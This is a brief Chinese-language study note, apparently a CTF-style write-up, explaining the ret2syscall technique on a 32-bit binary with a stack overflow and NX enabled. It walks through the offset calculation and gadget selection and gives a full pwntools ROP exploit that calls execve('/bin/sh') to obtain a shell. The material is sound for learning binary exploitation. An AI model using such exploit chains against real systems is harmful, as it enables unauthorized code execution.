文章目录
- 写在前面
- ret2syscall
- 参考文章
写在前面
今天再冲一个就歇息了
ret2syscall
Ret2Syscall,即控制程序执行系统调用,进而获取shell
老规矩checksec
可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码,存在栈溢出
分析偏移
可以推断
-
s
的地址为0xffffd16c
-
s
相对于 ebp
的偏移为0x6c
-
s
相对于返回地址的偏移为 0x6c+4
我们利用如下系统调用来获取 shell
execve("/bin/sh",NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
接下来寻找控制 eax 的 gadgets
这里选择第二个,再来看看ebx
这里直接一步到位了
此外,我们需要获得 /bin/sh
字符串对应的地址
此外,还有 int 0x80
的地址
接下来就可以写利用脚本了
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
利用成功
参考文章
https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/#ret2syscall